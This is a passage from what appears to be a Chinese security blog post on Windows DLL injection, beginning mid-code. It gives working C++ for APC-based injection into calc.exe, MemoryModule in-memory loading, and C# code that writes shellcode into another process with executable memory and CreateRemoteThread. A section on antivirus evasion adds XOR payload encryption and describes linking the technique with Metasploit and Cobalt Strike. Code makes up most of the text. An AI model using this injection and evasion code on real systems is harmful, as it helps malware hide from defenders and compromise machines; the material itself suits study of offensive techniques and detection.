<span class="hljs-keyword">auto</span> hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, <span class="hljs-number">0</span>);
<span class="hljs-keyword">if</span> (hSnapshot == INVALID_HANDLE_VALUE)
    <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
pid = <span class="hljs-number">0</span>;
PROCESSENTRY32 pe = { <span class="hljs-keyword">sizeof</span>(pe) };
<span class="hljs-keyword">if</span> (::Process32First(hSnapshot, &amp;pe)) {
    <span class="hljs-keyword">do</span> {
        <span class="hljs-keyword">if</span> (_wcsicmp(pe.szExeFile, exeName) == <span class="hljs-number">0</span>) {
            pid = pe.th32ProcessID;
            THREADENTRY32 te = { <span class="hljs-keyword">sizeof</span>(te) };
            <span class="hljs-keyword">if</span> (::Thread32First(hSnapshot, &amp;te)) {
                <span class="hljs-keyword">do</span> {
                    <span class="hljs-keyword">if</span> (te.th32OwnerProcessID == pid) {
                        tids.push_back(te.th32ThreadID);
                    }
                } <span class="hljs-keyword">while</span> (::Thread32Next(hSnapshot, &amp;te));
            }
            <span class="hljs-keyword">break</span>;
        }
    } <span class="hljs-keyword">while</span> (::Process32Next(hSnapshot, &amp;pe));
}
::CloseHandle(hSnapshot);
<span class="hljs-keyword">return</span> pid &amp;gt; <span class="hljs-number">0</span> &amp;&amp; !tids.empty();

}

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-">main</span><span class="hljs-params">()</span>
</span>{

DWORD pid;
<span class="hljs-built_in">vector</span>&amp;lt;DWORD&amp;gt; tids;
<span class="hljs-keyword">if</span> (FindProcess(<span class="hljs-string">L"calc.exe"</span>, pid, tids)) 
{
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"OpenProcess\n"</span>);
    HANDLE hProcess = ::OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"VirtualAllocEx\n"</span>);
    <span class="hljs-keyword">auto</span> p = ::VirtualAllocEx(hProcess, <span class="hljs-literal">nullptr</span>, <span class="hljs-number">1</span> &amp;lt;&amp;lt; <span class="hljs-number">12</span>, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    <span class="hljs-keyword">wchar_t</span> buffer[] = <span class="hljs-string">L"c:\\test\\testdll.dll"</span>;
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"WriteProcessMemory\n"</span>);
    ::WriteProcessMemory(hProcess, p, buffer, <span class="hljs-keyword">sizeof</span>(buffer), <span class="hljs-literal">nullptr</span>);
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">const</span> <span class="hljs-keyword">auto</span>&amp; tid : tids) 
    {
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"OpenThread\n"</span>);
        HANDLE hThread = ::OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
        <span class="hljs-keyword">if</span> (hThread) 
        {
            <span class="hljs-built_in">printf</span>(<span class="hljs-string">"GetProcAddress\n"</span>);
            ::QueueUserAPC((PAPCFUNC)::GetProcAddress(GetModuleHandle(<span class="hljs-string">L"kernel32"</span>), <span class="hljs-string">"LoadLibraryW"</span>), hThread, (ULONG_PTR)p);    
        }
    }
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"VirtualFreeEx\n"</span>);
    ::VirtualFreeEx(hProcess, p, <span class="hljs-number">0</span>, MEM_RELEASE | MEM_DECOMMIT);
}

}
</div></pre>
<p>而且还有了C#版本,这里就不再赘述了。</p>
<h3>反射型dll注入:</h3>
<p>反射DLL注入可以将加密的DLL保存在磁盘(或者以其他形式如shellcode等),之后将其解密放在内存中。之后跟DLL注入一般,使用VirtualAlloc和WriteProcessMemory将DLL写入目标进程。因为没有使用LoadLibrary函数,要想实现DLL的加载运行,我们需要在DLL中添加一个导出函数,ReflectiveLoader,这个函数实现的功能就是加载自身。</p>
<p>反射DLL注入实现起来其实十分复杂,需要对PE加载十分了解。通过编写ReflectiveLoader找到DLL文件在内存中的地址,分配装载DLL的空间,并计算 DLL 中用于执行反射加载的导出的内存偏移量,然后通过偏移地址作为入口调用 CreateRemoteThread函数执行。</p>
<p>msf已经有了相应的模块:</p>
<pre>windows/manage/reflective_dll_inject
</pre>
<p><img src="/img/sin/M00/00/2C/wKg0C1689YCAQMr5AADFO37qNXM110.png" alt="3.png"></p>
<p>cs中也可以使用bdllspawn来加载dll实现同样的效果。</p>
<p>我们也可以手动使用MemoryModule来实现</p>
<ol>
<li>将要加载的PE文件读入内存</li>
<li>初始化MemoryModule句柄</li>
<li>装载内存</li>
<li>获得导出函数地址</li>
<li>执行导出函数</li>
<li>释放MemoryModule句柄</li>
</ol>
<p>代码如下:</p>
<pre><div class="hljs"><span class="hljs-">#<span class="hljs--keyword">define</span> WIN32_LEAN_AND_MEAN</span>

<span class="hljs-">#<span class="hljs--keyword">include</span> &lt;windows.h&gt;</span>
<span class="hljs-">#<span class="hljs--keyword">include</span> &lt;stdio.h&gt;</span>
<span class="hljs-">#<span class="hljs--keyword">include</span> &lt;malloc.h&gt;</span>

<span class="hljs-">#<span class="hljs--keyword">include</span> <span class="hljs--string">"MemoryModule.h"</span></span>

<span class="hljs-function"><span class="hljs-keyword">typedef</span> <span class="hljs-">int</span> <span class="hljs-params">(*addNumberProc)</span><span class="hljs-params">(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>)</span></span>;

<span class="hljs-">#<span class="hljs--keyword">define</span> DLL_FILE <span class="hljs--string">"C:\users\root\desktop\reflective_dll.x64.dll"</span></span>

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-">LoadFromFile</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span>
</span>{

addNumberProc addNumber;
HINSTANCE handle = LoadLibrary((LPCWSTR)DLL_FILE);
<span class="hljs-keyword">if</span> (handle == <span class="hljs-literal">NULL</span>)
    <span class="hljs-keyword">return</span>;

addNumber = (addNumberProc)GetProcAddress(handle, <span class="hljs-string">"addNumbers"</span>);
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"From file: %d\n"</span>, addNumber(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>));
FreeLibrary(handle);

}

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-">LoadFromMemory</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span>
</span>{

FILE *fp;
<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">char</span> *data=<span class="hljs-literal">NULL</span>;
<span class="hljs-keyword">size_t</span> size;
HMEMORYMODULE <span class="hljs-keyword">module</span>;
addNumberProc addNumber;

fp = fopen(DLL_FILE, <span class="hljs-string">"rb"</span>);
<span class="hljs-keyword">if</span> (fp == <span class="hljs-literal">NULL</span>)
{
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Can't open DLL file \"%s\"."</span>, DLL_FILE);
    <span class="hljs-keyword">goto</span> <span class="hljs-built_in">exit</span>;
}

fseek(fp, <span class="hljs-number">0</span>, SEEK_END);
size = ftell(fp);
data = (<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">char</span> *)<span class="hljs-built_in">malloc</span>(size);
fseek(fp, <span class="hljs-number">0</span>, SEEK_SET);
fread(data, <span class="hljs-number">1</span>, size, fp);
fclose(fp);


<span class="hljs-keyword">module</span> = MemoryLoadLibrary(data);
<span class="hljs-keyword">if</span> (<span class="hljs-keyword">module</span> == <span class="hljs-literal">NULL</span>)
{
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Can't load library from memory.\n"</span>);
    <span class="hljs-keyword">goto</span> <span class="hljs-built_in">exit</span>;
}

addNumber = (addNumberProc)MemoryGetProcAddress(<span class="hljs-keyword">module</span>, <span class="hljs-string">"addNumbers"</span>);
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"From memory: %d\n"</span>, addNumber(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>));
MemoryFreeLibrary(<span class="hljs-keyword">module</span>);

<span class="hljs-built_in">exit</span>:

<span class="hljs-keyword">if</span> (data)
    <span class="hljs-built_in">free</span>(data);

}

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-">main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">char</span>* argv[])</span>
</span>{

LoadFromFile();
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"\n\n"</span>);
LoadFromMemory();
<span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;

}
</div></pre>
<p><img src="/img/sin/M00/00/2C/wKg0C1689aqAPOY4AACi4IALHBU433.png" alt="4.png"></p>
<h2>dll注入利用</h2>
<h3>反射型DLL注入免杀</h3>
<p>这里使用c#来实现。</p>
<p>首先声明api:</p>
<pre>[DllImport("kernel32.dll")]

    static extern HANDLE OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
    [DllImport("kernel32.dll")]
    static extern HMODULE GetModuleHandle(string lpModuleName);
    [DllImport("kernel32.dll")]
    static extern IntPtr GetProcAddress(HMODULE hModule, string lpProcName);
    [DllImport("kernel32.dll")]
    static extern IntPtr VirtualAllocEx(HANDLE hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    [DllImport("kernel32.dll")]
    static extern bool WriteProcessMemory(HANDLE hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
    [DllImport("kernel32.dll")]
    static extern IntPtr CreateRemoteThread(HANDLE hProcess,IntPtr lpThreadAttributes, uint dwStackSize, 
                                            IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    // privileges used for OpenProcess
    protected const uint PROCESS_ALL_ACCESS = PROCESS_CREATE_PROCESS | PROCESS_CREATE_THREAD | 
                PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION | 
                PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_SET_INFORMATION | 
                PROCESS_SET_QUOTA | PROCESS_SUSPEND_RESUME | PROCESS_TERMINATE | 
                PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE | SYNCHRONIZE;
    protected const uint PROCESS_CREATE_PROCESS = 0x80;
    protected const uint PROCESS_CREATE_THREAD = 0x2;
    protected const uint PROCESS_DUP_HANDLE = 0x40;
    protected const uint PROCESS_QUERY_INFORMATION = 0x400;
    protected const uint PROCESS_QUERY_LIMITED_INFORMATION = 0x1000;
    protected const uint PROCESS_SET_INFORMATION = 0x200;
    protected const uint PROCESS_SET_QUOTA = 0x100;
    protected const uint PROCESS_SUSPEND_RESUME = 0x800;
    protected const uint PROCESS_TERMINATE = 0x1;
    protected const uint PROCESS_VM_OPERATION = 0x8;
    protected const uint PROCESS_VM_READ = 0x10;
    protected const uint PROCESS_VM_WRITE = 0x20;
    protected const uint SYNCHRONIZE = 0x100000;

    // used for VirtualAllocEx
    const uint MEM_COMMIT = 0x00001000;
    const uint MEM_RESERVE = 0x00002000;
    const uint PAGE_READWRITE = 4;

</pre>
<p>然后可以使用下面的方式来实现dll注入:</p>
<pre>public static void ReflectiveDLLInject(int targetId, byte[] shellcode)

    {
        try
        {
            IntPtr lpNumberOfBytesWritten = IntPtr.Zero;
            IntPtr lpThreadId = IntPtr.Zero;


            IntPtr procHandle = OpenProcess((uint)ProcessAccessRights.All, false, (uint)targetId);
            Console.WriteLine($"[+] Getting the handle for the target process: {procHandle}.");
            IntPtr remoteAddr = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)shellcode.Length, (uint)MemAllocation.MEM_COMMIT, (uint)MemProtect.PAGE_EXECUTE_READWRITE);
            Console.WriteLine($"[+] Allocating memory in the remote process {remoteAddr}.");
            Console.WriteLine($"[+] Writing shellcode at the allocated memory location.");
            if (WriteProcessMemory(procHandle, remoteAddr, shellcode, (uint)shellcode.Length, out lpNumberOfBytesWritten))
            {
                Console.WriteLine($"[+] Shellcode written in the remote process.");
                CreateRemoteThread(procHandle, IntPtr.Zero, 0, remoteAddr, IntPtr.Zero, 0, out lpThreadId);
            }
            else
            {
                Console.WriteLine($"[+] Failed to inject shellcode.");
            }

        }
        catch (Exception ex)
        {
            Console.WriteLine(ex.Message);
        }

    }

</pre>
<p>然后将payload进行加密,再在主程序内还原即可。</p>
<pre>public static byte[] xor(byte[] input)

    {
        char[] key = { 'x', 'x', };
        byte[] output = new byte[input.Length];
        for (int i = 0; i &amp;lt; input.Length; i++)
        {
            output[i] = (byte)(input[i] ^ key[i % key.Length]);
        }
        return output;
    }

</pre>
<p>然后在调用函数执行即可,不过DLL加密后的shellcode都会特别长,不适合命令行输入,命令行只支持8000+字符的输入,可以考虑分离免杀的方式来进行执行。</p>
<h3>反射DLL与MSF联动</h3>
<p>倾璇师傅提出的思路,膜拜。</p>
<p><img src="/img/sin/M00/00/2C/wKg0C1689oiAK-GtAADYkNXBDiA769.png" alt="5.png"></p>
<p>进程中也看不到明显的dll注入</p>
<p><img src="/img/sin/M00/00/2C/wKg0C1689p6AMNgJAAFYu53N7B8702.png" alt="6.png"></p>
<p>参考文章:</p>
<p>https://www.cnblogs.com/wf751620780/p/10730013.html

https://payloads.online/archivers/2020-01-02/1

https://rootrain.me/2020/02/29/%E4%BD%BF%E7%94%A8.NET%E5%AE%9E%E7%8E%B0DLL%E6%B3%A8%E5%85%A5%E6%8A%80%E6%9C%AF/

https://ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection

https://ired.team/offensive-security/code-injection-process-injection/dll-injection

https://www.t00ls.net/viewthread.php?tid=51601&highlight=DLL%E6%B3%A8%E5%85%A5

https://3gstudent.github.io/3gstudent.github.io/%E9%80%9A%E8%BF%87APC%E5%AE%9E%E7%8E%B0Dll%E6%B3%A8%E5%85%A5-%E7%BB%95%E8%BF%87Sysmon%E7%9B%91%E6%8E%A7/

https://github.com/stephenfewer/ReflectiveDLLInjection

https://www.cnblogs.com/uAreKongqi/p/6012353.html</p>

        </div></div><p><br></p>
责任编辑:
声明:本平台发布的内容(图片、视频和文字)以原创、转载和分享网络内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。

德品

1377 678 6470